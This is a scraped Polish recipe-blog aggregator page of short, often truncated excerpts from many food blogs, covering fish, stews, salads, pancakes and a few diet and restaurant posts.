wewnątrz jest białe i zwarte. Z mulami sprawa jest prostsza: gotowe są wóczas, kiedy muszelki się otworzą. Potrzeba na to kilka minut gotowania. Mule zalej winem (lub bulionem, sosem, zależy z jakiego przepisu korzystasz), przykryj, zagotowuj.. Potrząśnij garnkiem, pogotuj kilka minut (3-4 minuty, maksymalnie 5). Sprawdź, czy muszle otworzyły się. Pamiętaj o jednej zasadzie: część muszli nigdy się

Niedzielny kucharz
Dorsz w sosie śmiatanowo-serowym 150

Dorsz w sosie śmiatanowo-serowym to pyszna i zdrowsza alternatywa dla dorsza smażonego w panierce. Tak przygotowana ryba jest bardzo aromatyczna, soczysta i pyszna. Użyj ulubionego sera, będzie jeszcze smaczniej. Łatwe do przygotowania danie i nie zajmie Ci wiele czasu. Napisałabym danie fit, ale dodatek żółtego sera niestety burzy ten wizerunek, wynagradza za to smakiem. Polecam

Gotuj zdrowo!Guten Appetit!
WEGECIKI Z CIECIERZYCY I PAPRYKI 162

Dziś na obiad proponuję paprykowe falafele. Pieczone, bez tłuszczu,  chrupiące, idealnie współgrają z sałatką lub pieczonymi warzywami. Te wegeciki możemy nawet wsadzić z bułkę, dodać sałatę, paprykę, sos i... wege burger gotowy! Jeden przepis - wiele zastosowań.  Polecam!    Składniki na ok 25 wegecików: 2 szklanki namoczonej ciecierzycy (ok 1 szklanka suchej), 1 papryka, 1 cebula, Sól kamienna

Jeść, by żyć w zdrowiu
Pożywna zupa z jarmużem 229

Składniki: 100 g jarmużu 150 g ziemniaków 150 g pieczarek 1 cebula 40 g soczewicy 2 ząbki czosnku 1/2 szklanki mleka sól, pieprz ostry sos chili Przygotowanie: Cebule obrać pokroić … Czytaj dalej Pożywna zupa z jarmużem

czarrna od kuchni
Marynowane tofu 157

Marynowane tofu Czas przygotowania: 10 minut Składniki: ok. 200 g naturalnego tofu  Marynata: 1 duży roztarty ząbek czosnku 1/2 łyżeczki starego imbiru 1/4 posiekanej papryczki chili 4 łyżki sosu sojowego 1 łyżeczka sezamu Wykonanie: W misce mieszamy wszystkie składniki marynaty. Tofu kroimy w kostkę i dokładnie mieszamy z marynatą

Kulinarne przygody Gatity
Bułeczki na śniadanie, lekko słodkie z makiem lub sezamem 165

bułek lub 1 paluchów. Ja upiekłam po połowie z każdego rodzaju. Paluchy piekę na ogół jako pieczywo do bufetu. Łatwo je chwycić w rękę i zamoczyć w jakimś sosie lub hummusie. Uwielbiam domowe pieczywo i zapach świeżo upieczonych bułeczek. Wy też? Maślane bułeczki 12 sztuk Składniki: 650 g vetemjöl 5 dl mjölk 100 g socker 50 g färsk jäst

codojedzenia
Zdrowe, wiejskie jedzenie w 2020 roku – tylko gdzie je kupić? 149

rozwoju dzieci i młodzieży. Jest doskonały dla diet lekkostrawnych, jak również uzupełni aminokwasy po intensywnym treningu sportowca. Naturalny jogurt możemy wykorzystywać na wiele sposobów: do sałatek, zagęszczania zup i sosów – będzie lżejszym odpowiednikiem majonezu czy śmietany, oraz do przygotowywania zdrowych i pożywnych koktajli. Przygotowane z dodatkiem ulubionych owoców lub warzyw, na bazie ekologicznego jogurtu, świetnie sprawdzą się w podróży

Kuchcik gotuje
Przepis na domowy smalec z boczkiem i jabłkiem 168

tygodnie. Smacznego domowy smalec z boczkiem Zapraszam również do skorzystania z innych przepisów, a jeżeli spodobał Ci się ten przepis będzie mi miło za polubienie strony. Karkówka duszona w sosie własnym Zapiekanka ziemniaczana z kiełbasą i cebulą Pieczone ziemniaki z piekarnika Sałatka warstwowa gyros – Ksiega-smaku.pl Artykuł Przepis na domowy smalec z boczkiem i jabłkiem pochodzi z serwisu Księga Smaku

Księga-Smaku
PULLED- PORK 166

kanapka, chlebek pita z pulled pork, to pyszny obiad. Mięso jest pyszne zarówno na ciepło, jak i na zimno jako dodatek do kanapek. Ciepły pulled pork świetnie smakuje z sosem czosnkowym. Inspiracją był ten przepis, pominęłam tylko cukier- w moim odczuciu jest zbędny... Następnym razem zwiększę także ilość kuminu- uwielbiam jego smak... Składniki: - 2 kg łopatki wieprzowej - 2 cebule

Smaczne Zdrowe
Pałki z kurczaka jak z kfc 182

panierce jak z kfc. Bardzo soczyste mięso i chrupiąca panierka gwarantują, że będzie pysznie .Moje dzieci takie uwielbiają,Sprawdzą idealnie na obiad i na przekąskę,do tego pyszny sos...Zapraszam po przepis

Swojskie jedzonko
Gulasz na winie 125

pieprz, sól i dusić pod pokrywką. Gdy mięso będzie prawie gotowe, wlać wino i sok z cytryny. Doprawić do smaku szczyptą cukru. Dusić dalej, aż mięso będzie miękkie, a sos zgęstnieje. Podawać z kluskami

królestwo garów
Pałac Romantyczny - wspaniałe miejsce na relaks i wykwintne jedzenie 146

też wymieniona w Żółtym Przewodniku Kulinarnym Gault & Millau w latach 2017, 2018 i 2019. Amuse-bouche: półgęsek, żurawina, dynia   Foie gras, chałka, konfitura z fig Kałamarnica, ajwar, sos aioli Tatar z gęsi owsianej, żółtko przepiórcze Piwo, piernik,miód gryczany Zupa: raki, kawior z pstrąga Zupa: raki, kawior z pstrąga   Halibut, redukcja rybna, asiette z pora Dzik, kasza

Kulinarne przygody Gatity
Placuszki - bez mleka, masła 153

przyrządzenia nie będziecie potrzebować mleka ani masła. Wystarczy tylko kilka składników. Uwierzcie mi na słowo - poniższe słodkości przygotujecie z niemowlakiem na biodrze 😂 Placuszki świetnie smakują podane z owocami, słodkimi sosami, dżemem czy też frużeliną, np. truskawkową. Idealne na drugie śniadanie. Dobrze s makują podane na ciepło jak i też na zimno.  Składniki na porcję dla 2-3 osób

Ugotować
Danie jednogarnkowe z patisonem 106

adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 600g szynki wieprzowej 1 cebula 1 czerwona papryka 1 marchewka 1 puszka białej fasoli ok. 200g patisona łyżeczka majeranku sól, pieprz do smaku 1 łyżka sosu sojowego 1 łyżka przecieru pomidorowego 1 listek laurowy 3 kulki ziela angielskiego olej do smażenia (adsbygoogle = window.adsbygoogle || []).push({}); Sposób przygotowania: Mięso umyłam, osuszyłam i pokroiłam w niedużą kostkę. Na patelni

Waniliowe Improwizacje
Placuszki jaglane ze śliwkową nutellą 127

mąkę, jajko, kefir w blenderze. 2. Usmaż placuszki na oleju kokosowym. 3. Zmiksuj śliwki z miodem i kakao (można poddusić śliwki z goździkami i kakao) 4. Usmażone placuszki polej sosem śliwkowym. 5. Posyp migdałami i borówkami. Placuszki jaglane to pyszne danie Artykuł Placuszki jaglane ze śliwkową nutellą pochodzi z serwisu Strefa Zdrowego Żywienia

Strefa Zdrowego Żywienia
Sałatka z awokado, jajkiem i tuńczykiem 178

wykonania: Sałaty umyć, odwirować, ułożyć na półmisku. Dodać pokrojoną cebulę, awokado i oliwki. Tuńczyka lekko odsączyć i wyłożyć na warzywa. Na koniec dodać jajko pokrojone w ósemki. Sałatkę polać sosem z oliwy, octu jabłkowego i ulubionych ziół. Smacznego Inny sposób na awokado – przepisy tu Artykuł Sałatka z awokado, jajkiem i tuńczykiem pochodzi z serwisu Strefa Zdrowego Żywienia

Strefa Zdrowego Żywienia
6x kulinarne inspiracje stycznia 207

stopniach, ok. 15-20 minut. 2.  Zapiekanka Rafała, dla lubiących gorgonzolę, pyszna! Szpecle (niemieckie kluski) + gorgonzola x2 + cebula lub por z czosnkiem, podsmażony + lekko podgotowana na parze brukselka + sos jogurtowy z przyprawami. Wymieszać i zapiekać ok. 30-40 minut w 180 stopniach.   3. Ciasteczka marchewkowe z Żabki o bdb składzie. Cena: ok. 5 zł. Bardzo smaczne. 4. Tarnów

Qlinarnie i Qlinarnie
Pieczone pałki kurczaka w pomarańczach (Pollo al forno con arancia) 168

układamy pałki kurczaka. Na sam koniec kurczaka zalewamy bulionem i sokiem z pomarańczy. Pałki kurczaka pieczemy ok. 45-55 minut na złoty kolor. W czasie pieczenia kurczaka polewamy  sosem zbierającym się na dnie naczynia. Kurczaka podałam z plastrami pomarańczy wcześniej obsmażonymi na patelni z 1 łyżką oliwy. **** PREPARAZIONE Riscaldate il forno a 200 gradi. Tagliate i finocchi a fettine

La grande e la piccola cuoca
Filet z łososia na szpinaku w kremowym sosie 188

dziś je uwielbiam. Jedną z moich ulubionych jest łosoś. Przygotowuję go na wiele sposobów, a to mój ulubiony. Smażony filet z łososia na szpinaku baby w kremowym sosie. Minimalna ilość składników potrafi zdziałać cuda, kocham to połączenie smakowe.  Do przygotowania perfekcyjnie usmażonej ryby, potrzebujecie nieprzywierającej patelni i dobrze rozgrzanego oleju. SKŁADNIKI na 2 porcje: 2 filety z łososia

kulinarnyJa
Rosół z kury 149

wyjątkowo uniwersalna zupa, którą możesz podać z makaronem, zacierkami lub kluskami lanymi. Ten rosół jest świetną bazą do innych zup. - stary, sprawdzony przepis - super baza pod zupy oraz sosy - idealny pomysł na pierwsze danie

AniaGotuje.pl
Krokiety z mięsem 176

robię to dwukrotnie – jajko, bułka, znów jajko i bułka. I smażymy na oleju na złoto z każdej strony. Podajemy do barszczu lub w towarzystwie ketchupu i innych sosów. Smacznego

Słodkie okruszki
Roladki drobiowe z pieczarkami w sosie szpinakowym 197

duże piersi z kurczaka 8 pieczarek 1 opakowanie serka typu almette o smaku śmietankowym ze szczypiorkiem lub cebulką Sól, pieprz do smaku 2 łyżki mąki 2 łyżki masła Sos szpinakowy: 1 opakowanie mrożonego szpinaku (użyłam rozdrobnionego bo taki akurat miałam) 2 ząbki czosnku 2 łyżki masła 250g serka mascarpone 50g drobno startego sera parmezan Pieprz do smaku Dodałam także kilka

Kuchnia w czekoladzie
Fale Atlantyku 127

Dokładamy miód, koncentrat pomidorowy, pokrojone drobno śliwki, doprawiamy pieprzem, 10 minut prużymy i studzimy. 4.   Śledzie kroimy na małe kawałki i układamy w naczyniu warstwami: Śledź, sos, śledź i tak do wyczerpania składników. 5.   Chłodzimy w lodówce, najlepsze są na drugi dzień. 6.   Smacznego

Kulinarna Chwila
Keto fried rice (Paleo, LowCarb) 151

wydaniu Jeśli chodzi o przyprawy i składniki nadające temu daniu odpowiedni smak i aromat, to są to przede wszystkim olej sezamowy oraz aminokwasy sojowe . Stanowią one rewelacyjny zdrowy zamiennik sosu sojowego. Z nimi praktycznie każda potrawa o azjatyckim rodowodzie jest w zasięgu możliwości! Wprost uwielbiam z nich korzystać! Są one już dostępne także w Polsce. Nie ma więc żadnych przeciwwskazań

Modern Cave Girl
Pizza z patelni 125

możemy spełnić jego zachciankę:) Ciasto przygotowuje się bez grama drożdży, bez żmudnego zagniatania, bez wyrastania. Wystarczy wymieszać kilka składników i rozprowadzić je na patelni. Do tego ketchup zamiast pomidorowego sosu (ma być na szybko, prawda?) i kilka podstawowych dodatków takich jak szynka i ser. Po około 20 minutach pizza jest już gotowa. Jak widzicie, robi się ją błyskawicznie. Ciasto

Smaki Na Talerzu
Placki ziemniaczane z kiszoną kapustą 129

Mięciutkie, delikatne placki z ugotowanych ziemniaków to niezbyt oczywiste ale przepyszne połączenie z kapustą kiszoną. Wyśmienicie smakują podane same jak i również z sosem grzybowym czy pieczeniowym (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 1 kg ziemniaków 300 gram kiszonej kapusty 1 duża cebula 2 łyżki mąki ziemniaczanej 1 jajko sól i pieprz do smaku olej do smażenia (adsbygoogle = window.adsbygoogle || []).push({}); Przygotowanie: ziemniaki

Blog kulinarny S9.PL
Pasta serowo-rybna 158

lubi) 1/2 cebulki siekany koperek / szczypiorek jogurt naturalny Sposób wykonania: 1. Ser biały rozdrobnić widelcem. Cebulkę drobno posiekać. 2. Z puszki z rybą odlać część oleju lub sosu pomidorowego. Pozostałą zawartość połączyć z serem. Dodać cebulkę, szczypiorek lub koperek i jogurt naturalny - tyle, aby uzyskać pożądaną konsystencję. Dokładnie wymieszać. Smacznego!!! Z rybą w pomidorach

Kuchnia domowa Ani
Gulasz wieprzowy z fasolą i papryką 189

Dziś mam dla was przepis na pyszny gulasz wieprzowy ze schabu, z dodatkiem fasoli, marchewki, cebuli i kolorowej papryki. Gulasz zrobiłam w sosie pomidorowym. Wyszedł bardzo smaczny, sycący i rozgrzewający. W sam raz na jesienno - zimową pogodę. Ten gulasz można podać z ziemniakami, ryżem, kaszą, makaronem czy pieczywem. Wszystko według gustu. Oto przepis: (adsbygoogle = window.adsbygoogle || []).push({}); Składniki

Waniliowe Improwizacje
Pasta z orzechów włoskich 130

Pasta z uprażonych orzechów włoskich to świetny dodatek do ciast, deserów, owsianek, napojów, sosów i dressingów. Zastosowań jest mnóstwo! I na dodatek banalnie prosta do przygotowania, tak jak Tahini . Pasta jest aromatyczna, zdrowa i nie znajdziemy w niej żadnych sztucznych dodatków. Do jej przygotowania najlepiej użyć mocny blender kielichowy, przy ręcznym będzie potrzeba trochę cierpliwości Składniki: 3 szklanki orzechów włoskich

Oryginalny smak
Sałatka z dorszem 140

wyciągamy wszystko łyżką cedzakową na talerz, odstawiamy. W tym czasie siekamy natkę pietruszki i mieszamy ją z oliwą, sokiem i skórką z cytryny, oraz ognistą mieszanką przypraw. Tak powstałym sosem skrapiamy ugotowane warzywa i rybę, dodajemy pora, ponownie delikatnie doprawiamy i posypujemy skórką, od razu podajemy. Sałatka z dorszem powinna być w temperaturze pokojowej. Smacznego! The post Sałatka z dorszem

Damsko-męskie spojrzenie na kuchnię
Pizza z warzywami 177

Dziś mam dla was kolejny przepis na pizzę. Tym razem kolorowa pizza na drożdżowym cieście, z cebulą, porem, brokułami i pomidorkami koktajlowymi. Do tego jeszcze ketchup jako sos, szynka i ser. Pizzę zrobiłam na patelni, więc można przygotować smaczną pizzę nawet w razie awarii piekarnika, czy jego braku. Pizza wyszła bardzo smaczna, soczysta i pyszna. Do tego ładnie kolorowo wygląda

Waniliowe Improwizacje
Kurczak z warzywami w mleczku kokosowym 208

Soczyste i delikatne filety z kurczaka w sosie z marchewką i groszkiem  - super danie na dietę lub rodzinny obiad. Taki obiadek możesz również przygotować wcześniej i zabrać do pracy. Składniki na 4 porcje: ok. 600g piersi z kurczaka 450 g - (opakowanie) mrożonki groszek z marchewką 100 ml mleczka kokosowego 1/2 kostki bulionowej warzywnej + 1/2 szkl. wrzątku przyprawa do kurczaka

Alutka-Gotuje
Tarta cebulowa z serem feta 202

Pyszna tarta z pieczoną cebulą, serem feta i suszonym estragonem w kremowym sosie jajeczno śmietanowym. Sprawdzi się świetnie na obiad, kolację czy spotkanie ze znajomymi.  Zapraszam również na stronę zimowego numeru magazynu Aromat , po wiele, wiele inspiracji! Składniki: kruche ciasto:  200 g pszennej mąki  szczypta soli  150 g masła  3 łyżki wody  farsz

Życie zaczyna się w kuchni
Domowe kopytka babci Halinki 2140

Kopytka to danie, które jest bardzo uniwersalne. Można je jeść z cebulką i skwarkami, można obsmażyć, albo polać sosem pieczarkowym i podać z surówką. Każda z tych wersji jest uwielbiana w naszym domu a przepis na tradycyjne kopytka od babci sprawdza się zawsze

Prosty przepis na
Zapiekanka ziemniaczana z kurczakiem 193

przykrywamy drugą warstwą ziemniaków. Ser żółty ścieramy na dużych oczkach tarki i łączymy ze śmietaną. Doprawiamy solą, pieprzem, papryką słodką oraz czosnkiem w proszku. Polewamy wierzch zapiekanki śmietanowo-serowym sosem i obkładamy pokrojonym w plasterki boczkiem. Całość przykrywamy przykrywką naczynia i wstawiamy do nagrzanego piekarnika. Pieczemy przez 25 minut w temperaturze 190°C. Po upływie tego czasu zdejmujemy przykrywkę

Qchnia po prostu
Udka miodowo sojowe 174

ascii-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin;} 4 udka z kurczaka, 3 łyżki miodu 3 łyżki octu balsamicznego 1 łyżka sosu sojowego 2 łyżki oliwy 1 łyżeczka czosnku granulowanego 1 łyżeczka papryki ostrej 1 łyżka papryki słodkiej Normal 0 21 false false false PL X-NONE X-NONE MicrosoftInternetExplorer4 /* Style Definitions

Co w garnkach piszczy
Tajska zupa krewetkowa 191

moje chęci, dzieci niekoniecznie ale tutaj sytuację ratuje pomidorowa, którą zawsze mam w lodówce zawekowana w słoiczki (zobacz poradnik Jak wekować zupy ). W tamtym tygodniu zajadaliśmy się sajgonkami z sosem hoisin, ten tydzień rozpoczynamy od zupy krewetkowej z Tajlandii. Jeśli nie jesteście fanami owoców morza, krewetki możecie zastąpić mięsem ryby np łososia czy dorsza, też będzie pysznie! PRZEPIS TAJSKA ZUPA

Dorota Smakuje
grochówka krem z kiszoną kapustą, kiełbaskami norymberskimi... 176

przyjemność testować produkty "zobacz TUTAJ" , paczkę dostałam do testowania od "zobacz TUTAJ" i jest organizatorem Kampania Wielki Test ALDI w paczce dostałam: 4 x ciasto na pizzę z sosem pomidorowym Mama Mancini, 4 x szynka Szwarcawaldzka, 4 x kiełbaski Norymberskie, 4 x ser Maasdamer, 4 x francuski ser miękki dojrzewający Le Coq De France, 3 x 400ml wkład chłodzący

W Mojej Kuchni Lubię
Domowy ajvar 451

Ajvar jest to pasta warzywna przygotowana z pieczonej papryki, z dodatkiem bakłażana, cebuli, czosnku. W zależności od naszego podniebienia możemy ją zrobić w sposób bardziej lub

Kulinarnyblog.pl - wiesz jak gotować!
Zapiekanka ziemniaczana z rybą i boczkiem 159

attachment_8696" align="aligncenter" width="1024"] Zapiekanka ziemniaczana z rybą i boczkiem[/caption] Zobacz inne przepisy na zapiekanki ziemniaczane: Prosta Zapiekanka Z Ziemniaków Zapiekanka Ziemniaczana Z Szynką W Sosie Beszamelowym Zapiekanka Ziemniaczana Z Rybą Szybka Zapiekanka Ziemniaczana Z Porem I Boczkiem Zapiekanka Ziemniaczana Z Kiełbasą I Pieczarkami Zapiekanka Z Ziemniakami, Marchewką I Kiełbasą – Szybki Obiad Artykuł Zapiekanka ziemniaczana z rybą

e-PrzepisyKulinarne
Pieczeń pod ciastem drożdżowym – kuchnia podkarpacka 207

Efekt końcowy jednak jest zawsze doskonały. Duszone warzywa i mięso są dobrze doprawione i miękkie. W trakcie duszenia ich z masłem i śmietaną na dnie garnka zbiera sie smaczny sos, do którego bułka drożdżowa jest niezastąpiona. Chętnie dowiem się, czy spotkaliście się z podobnym daniem na Podkarpaciu lub w innych częściach kraju. Ze sposobu jego przyrządzania można snuć przypuszczenia

Trzeci talerz
Naleśniki z serem ricotta i smażonymi truskawkami. 198

momentu  aż cukier się rozpuści a truskawki będą szkliste i lekko skarmelizowane.  Naleśniki smarować serem. składać w rulon albo w kopertę. Po wierzchu udekorować truskawkami i sosem.      Smacznego

Radość kipiąca uśmiechem.
CHLEBEK PITA 8934

placek), to popularny wypiek w krajach Bliskiego Wschodu. To ciasto z mąki, drożdży i wody, do którego możemy zapakować dowolne dodatki. Możemy wypełnić wnętrze farszem warzywnym, mięsnym, z dowolnymi sosami i dodatkami. Podczas pieczenia ciasto napusza się i mocno rośnie, to m.in dzięki wysokiej temperaturze. Ja wykorzystałam płytę szamotową, którą nagrzałam już pół godziny wcześniej w piekarniku. Po przeczytaniu komentarzy

Smaczne Zdrowe
Tartiflette - zapiekanka alpejskich górali 227

Dopraw do smaku solą, pieprzem i gałką muszkatołową, zagotuj i zdejmij z gazu. 6. Naczynie do zapiekania wysmaruj masłem i układaj warstwami podgotowane ziemniaki na zmianę z porcją śmietanowego sosu. 7. Na sam wierzch ułóż grubo pokrojone plastry pleśniowego sera. 8. Piecz w 180*C przez 30-40min. Smacznego! Tartiflette Ingredients: 1kg of potatoes 2 medium onions 100g smoked

Kuchnia w Słońcu Skąpana
Szybkie szaszłyki z łososia i ananasa FIT 120

również innych przepisów na szaszłyki, które znajdziecie u mnie na blogu: – sałatka warzywna z szaszłykiem z krewetek , – wegańskie szaszłyki z tempehu , – szaszłyki z młodych ziemniaków z sosem tzatziki , – pieczone szaszłyki z piersi indyka . Składniki na 4-6 porcji: – 400-500g filetu ze świeżego łososia – 160g ananasa (pół puszki) – 3 łyżki oliwy

Be Fit Be Strong
Sałatka z awokado, jajkiem i tuńczykiem 134

wykonania: Sałaty umyć, odwirować, ułożyć na półmisku. Dodać pokrojoną cebulę, awokado i oliwki. Tuńczyka lekko odsączyć i wyłożyć na warzywa. Na koniec dodać jajko pokrojone w ósemki. Sałatkę polać sosem z oliwy, octu jabłkowego i ulubionych ziół. Smacznego Inny sposób na awokado – przepisy tu Artykuł Sałatka z awokado, jajkiem i tuńczykiem pochodzi z serwisu Kobieciarnia

Strefa Zdrowego Żywienia
Placki w stylu amerykańskim 130

Danie na ciepło Amerykańska Fasolka Barbecue. Samo danie to dla mnie za mało, jednak jako półprodukt do zrobienia np. placków będzie znakomite. Zaczynamy zatem smażyć placki? Podałam je z sosem jogurtowo - czosnkowym i czipsami z chorizo, było pysznie. Placki z fasolką. CZYTAJ DALEJ

Moje Małe Czarowanie
BEZA PAVLOVA Z KREMEM KAKAOWYM I MALINAMI 157

dodatkowo ją schłodzić. Szklanka ma u mnie pojemność 250 ml. Bezę można udekorować innymi owocami, np. jeżynami, jagodami, borówkami, posiekanym kiwi, truskawkami lub agrestem. Można dodatkowo polać bezę domowym sosem owocowym, np. z malin (maliny z niewielką ilością cukru pudru zagotować, zmiksować na gładko, w razie potrzeby przetrzeć przez sitko, wystudzić i polać dekoracyjnie wypiek. PRZYGOTOWANIE BEZY: Bezę przygotowuję zawsze

Zasmakuj Kuchni
kiełbaski z ziemniakami na obiad... 193

przyjemność testować produkty "zobacz TUTAJ" , paczkę dostałam do testowania od "zobacz TUTAJ" i jest organizatorem Kampania Wielki Test ALDI w paczce dostałam: 4 x ciasto na pizzę z sosem pomidorowym Mama Mancini, 4 x szynka Szwarcawaldzka, 4 x kiełbaski Norymberskie, 4 x ser Maasdamer, 4 x francuski ser miękki dojrzewający Le Coq De France, 3 x 400ml wkład chłodzący

W Mojej Kuchni Lubię
Polędwiczka w kremowym sosie ze szpinakiem 166

Dzisiaj polecam szybki obiad jednogarnkowy, czyli pyszna polędwiczka w kremowym sosie ze szpinakiem i suszonymi pomidorami. Przygotowywanie obiadu poza chłodzeniem mięsa to raptem 30 minut. Do tego ugotowany ryż i cała rodzina jest syta. Czytaj więcej

Bernika - moj kulinarny pamietnik
Ziemniaki z piekarnika 178

przygotowanie jest naprawdę proste i nie wymaga specjalnych umiejętności. Jedyne czego potrzebujemy, to dobre ziemniaki, przyprawy, olej i czas. Ziemniaki z piekarnika (pieczone ziemniaki) wspaniale smakują podane z domowym sosem czosnkowym lub innym ulubionym i zestawem surówek. Można je też podać np. do grillowanego kurczaka czy innego mięsa. U nas dziś były na obiad. Cała rodzina zachwycona Polecam

Słodkie okruszki
Prosta sałatka z tuńczyka, jajek i kapusty pekińskiej 218

każdej okazji. Oprócz kilku składników oraz ekspresowego przygotowania jest naprawdę smaczna. Koniecznie sami spróbujcie! Sałatka z tuńczyka, jajek i kapusty pekińskiej - składniki: 3 jajka 1 puszka tuńczyka (najlepiej w sosie własnym lub w wodzie) 1/2 kapusty pekińskiej (niewielkiej) 1/2 puszki kukurydzy  kawałek białej części pora (można użyć cebuli) Dodatkowo: 2-3 łyżki majonezu sól, pieprz   Sałatka

Di gotuje
Insulinooporność - z czym to się je? 160

naturalnie w produktach, które dodawane są w czasie procesów przetwórczych i produkcyjnych; unikanie produktów wysokoprzetworzonych - nie tylko popularnych fast foodów, ale też słabej jakości wędlin czy parówek, gotowych dań, sosów czy sałatek. Zawierają one dużą ilość kalorii przy stosunkowo niewielkiej wartości odżywczej. A niestety insulinooporność często występuje w towarzystwie nadwagi lub otyłości; zwiększenie ilości warzyw w diecie - warzywa powinny stanowić

Z notatnika dietetyka
Kurczak curry w mleku kokosowym 124

Kruchy i aromatyczny kurczak w aksamitnym sosie z mleka kokosowego. Słodki smak mleczka i groszku zielonego przełamany ostrą papryczką chili oraz przyprawą curry. Można użyć również pasty curry

Z Hrabiną w kuchni
Najlepsze śniadanie na mieście w Warszawie – ranking top 10 167

dlaczego by nie zacząć dnia w czeskiej gospodzie z widokiem na socrealistyczny MDM. Co polecam? Zestaw Szwejk Benedykt, czyli dwa jajka w koszulce na toście z łososiem, szpinakiem i sosem holenderskim + śniadanie dla 2 osoby gratis.  U Szwejka, plac Konstytucji 1 Hala Koszyki, otwarte od 9:00 Nie każdy wie że większość restauracji na Koszykach jest otwarta od rana

Ugotowane pozamiatane
Filet z kurczaka z marchewką i groszkiem 202

Filet kurczaka w sosie śmietanowym z marchewką i groszkiem to prosty i smaczny obiad do przygotowania w 20 minut. Delikatne, soczyste mięso i jarzynka za jednym zamachem. Obiad, który posmakuje i dzieciom i dorosłym

Gotuj zdrowo!Guten Appetit!
Zapiekanka Ryżowa Z Pieczarkami, Kurczakiem I Serem 221

koniec wlewamy śmietankę i gotujemy aż lekko zgęstnieje możemy w tym momencie spróbować i doprawić jeszcze do smaku. 5. Foremkę smarujemy masłem. Najpierw wykładamy połowę ryżu, na to połowę sosu pieczarkowego, a następnie resztę ryżu i sou. wierzch posypujemy startym żółtym serem. Pieczemy w 200 stop przez około 25 minut

Gotowanie...to proste !
Dieta bez nabiału pod lupą 131

nabiału należy wykluczyć takie produkty jak mleko (krowie, owcze i kozie), jogurty, kefiry, maślanki, twarogi, śmietany, sery, masło czy margarynę. Zwróć także uwagę na składy ulubionych słodyczy, gotowych sosów i dań, a nawet produktów mięsnych i zbożowych – producenci dość często wykorzystują do ich produkcji nabiał. Czym zastąpić nabiał w codziennej diecie? Dieta bez nabiału wcale nie oznacza, że musisz zrezygnować

jakszef.pl
najlepsze śniadanie lub kolacja... 128

przyjemność testować produkty "zobacz TUTAJ" , paczkę dostałam do testowania od "zobacz TUTAJ" i jest organizatorem Kampania Wielki Test ALDI w paczce dostałam: 4 x ciasto na pizzę z sosem pomidorowym Mama Mancini, 4 x szynka Szwarcawaldzka, 4 x kiełbaski Norymberskie, 4 x ser Maasdamer, 4 x francuski ser miękki dojrzewający Le Coq De France, 3 x 400ml wkład chłodzący

W Mojej Kuchni Lubię
pyszne śniadanie lub kolacja... 132

przyjemność testować produkty "zobacz TUTAJ" , paczkę dostałam do testowania od "zobacz TUTAJ" i jest organizatorem Kampania Wielki Test ALDI w paczce dostałam: 4 x ciasto na pizzę z sosem pomidorowym Mama Mancini, 4 x szynka Szwarcawaldzka, 4 x kiełbaski Norymberskie, 4 x ser Maasdamer, 4 x francuski ser miękki dojrzewający Le Coq De France, 3 x 400ml wkład chłodzący

W Mojej Kuchni Lubię
Praktyczny prezent na Dzień Babci i Dziadka, czyli recenzja telefonu myPhone Halo Q+ 84

informujący o jej położeniu. Sama korzystam z podobnej funkcji w swoim smartfonie połączonym aplikacją ze smartbandem i uwierzcie, że jest ona niezwykle pożyteczna! Ponadto telefon posiada programowalny przycisk bezpieczeństwa SOS, aparat 2 Mpx oraz fotokontakty. Za pomocą urządzenia można korzystać z dwóch numerów, np. prywatnego i służbowego. A wbudowana latarka z łatwością jest obsługiwana za pomocą bocznego suwaka. Halo

Di gotuje
Zapiekane naleśniki z serem 158

zbrązowieje. Naleśniki można serwować na ciepło lub na zimno. Można je dodatkowo posypać cukrem pudrem. Takie naleśniki to pyszny deser lub posiłek na słodko.Same naleśniki są delikatne a sos tworzy po upieczeniu delikatny budyń śmietankowy. Myślę, że przypadną wam do gustu. (adsbygoogle = window.adsbygoogle || []).push({}); Zapraszam do wypróbowania pozostałych moich przepisów na naleśniki, np.: pełnoziarniste naleśniki na maślance (link

Waniliowe Improwizacje
O macedońskiej kuchni słów kilka 141

Szopskiej Sałatki czyli pomidorów i ogórków sążnie posypanych białym serem. Macedońska Szopska i fryty z serem  Z typowo restauracyjnych dań polecamy tave vegetariani czyli zapiekankę warzywną w kremowym sosie, pljeskavicę czyli bałkańską wariację na temat kotletów mielonych z grilla oraz wątróbkę z czosnkiem . Skopsko to piwo, które zdecydowanie dominuje w restauracjach i jest to macedońskie piwo numer 1. Macedońskie

Roślinożerni urlopowicze
Algieria - Kuskus z siedmioma warzywami (Cous Cous aux sept légumes) 144

minut). 4) W czasie, gdy warzywa się gotują, przygotowujemy kuskus na bulionie. 5) Gdy wszystko będzie gotowe, nakładamy kuskus i warzywa na talerz. Można polać 2-3 łyżkami sosu, który utworzył się w garnku, dzięki czemu kuskus będzie bardziej aromatyczny

Roślinożerni urlopowicze
Szynka pieczona z masłem ziołowym 119

piekarnika. Szynkę piekłam ok. godzinę i 15 minut w temperaturze 180 stopni. Po upieczeniu mięso pozostawiłam w piekarniku do wystygnięcia. Gdy wystygło wyjęłam je z powstałego w trakcie pieczenia sosu, zawinęłam w folię aluminiową i schowałam do lodówki, aby się schłodziło. Przed krojeniem zdjęłam sznurek, którym mięso było obwiązane.  (adsbygoogle = window.adsbygoogle || []).push({}); Zapraszam do wypróbowania innych moich przepisów

Waniliowe Improwizacje
Bahrajn - Kebab 135

olej dodajemy ciasto łyżką. Jedna łyżka to jeden placuszek. 4) Smażymy po kilka sekund z każdej strony, potem odsączamy ręcznikiem papierowym z oleju. 5) Można podawać z ryżem i sosem jogurtowym (np. tzatziki

Roślinożerni urlopowicze
Pieczeń z karkówki 149

minut pieczenia można zdjąć folię, wtedy mięso będzie miało bardziej chrupiącą skórkę. Ja swoją pieczeń przeznaczyłam na kanapki, więc wystudziłam ją w piekarniku i dopiero potem wyjęłam z powstałego sosu, zawinęłam w folię aluminiową i schłodziłam w lodówce. Jeśli natomiast pieczeń ma być przeznaczona na obiad, to wystarczy po upieczeniu dać jej odpocząć kilkanaście minut a następnie pokroić w grubsze

Waniliowe Improwizacje
Karkówka faszerowana pieczarkami 171

